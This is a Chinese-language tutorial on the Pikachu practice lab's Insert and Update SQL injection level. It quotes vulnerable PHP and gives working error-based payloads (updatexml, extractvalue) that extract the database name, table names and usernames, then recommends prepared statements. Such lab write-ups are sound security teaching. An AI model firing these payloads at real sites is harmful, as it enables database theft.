摘要 / 前言:
除了常见的查询(Select)注入,SQL 注入还广泛存在于插入(Insert)和更新(Update)操作中。本关卡模拟了用户注册(Insert)和个人信息修改(Update)场景。
在这类注入中,有两个关键点:
- 没有回显位: 页面通常只显示“注册成功”或“失败”,看不到数据库内容,因此必须使用 报错注入(或者盲注)。
- 语句完整性: 在
INSERT语句中,不能随意使用#注释,必须保证列数匹配。
一、漏洞分析 (Insert 注入)
场景: 用户注册页面。
源码逻辑:
$getdata=$_POST;
// 漏洞点:直接拼接 POST 数据到 VALUES 中
$query="insert into member(username,pw,sex,...) values('{$getdata['username']}', ...)";
1. 为什么 # 注释符失效?
如果 Payload 是 admin'#,SQL 变成:insert into member(...) values('admin'#', ...)# 把后面关于密码、性别等的赋值全注释掉了。数据库期望插入 6 列数据,结果只收到 1 列,因此报 Column count doesn't match 错误。
结论: Insert 注入必须使用 闭合逻辑(AND/OR) 的方式,让 SQL 语句在语法上保持完整。
二、注入实战 (Payloads)
利用函数: updatexml() 或 extractvalue()。
常用语句:
and updatexml(1, concat(分隔符, (待查询的 SQL 语句), 分隔符), 1) --and extractvalue(1, concat(分隔符, (待查询的 SQL 语句), 分隔符)) --updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --extractvalue(1, concat(0x7e, (select database()), 0x7e)) --
1. 爆数据库名
- Payload:
sql 1'and updatexml(1,concat(0x7e,database(),0x7e),1) and' - 注意点:
- 开头建议使用数字(如
1),如果使用字母(如admin)可能会因为 MySQL 的隐式类型转换导致Truncated incorrect DOUBLE value错误,从而掩盖真正的注入报错。 - 首尾的单引号
'用于闭合原本 SQL 语句中的单引号。 - 中间的
and确保逻辑连接,updatexml执行后报错将数据带出。
- 开头建议使用数字(如

2. 爆表名
- Payload:
sql 1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) and' - 结果:
> XPATH syntax error: ‘~httpinfo,member,message,users,x’

3. 爆数据 (用户密码)
- Payload:
sql 1'and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and' - 提示: 报错注入有长度限制(通常 32 位),如果数据太长,需要配合
substr()函数分段读取。

三、Update 注入 (修改资料)
除了注册,登录后的“修改个人信息”处也存在漏洞。
源码逻辑:
$query="update member set sex='{$_POST['sex']}', ... where username='...'";
Payload:
在 Update 语句中,因为后面没有像 Insert 那样严格的“列对应”关系,使用 # 注释通常是可行的(这会把 WHERE 条件注释掉,导致更新整张表,或者在 WHERE 前注入)。
- 注入点: 性别、手机号等输入框。
- Payload:
sql test' and updatexml(1,concat(0x7e,database(),0x7e),0)#

2. 爆表名
- Payload:
sql 1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1)# - 结果:
> XPATH syntax error: ‘~httpinfo,member,message,users,x’

3. 爆数据 (用户密码)
- Payload:
sql 1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)# - 提示: 报错注入有长度限制(通常 32 位),如果数据太长,需要配合
substr()函数分段读取。

四、总结与防御
Insert/Update 注入特点:
- 必用报错注入(或者盲注): 因为没有数据展示位。
- Insert 慎用注释: 需构造闭合以满足列数要求。
- 类型转换陷阱: 构造逻辑判断时,字符串尽量使用数字开头,避免 MySQL 类型转换报错。
防御方案:
继续强调 预编译(Prepared Statements)。在 INSERT 和 UPDATE 操作中同样适用,它能完美解决参数拼接导致的所有注入问题。
正文完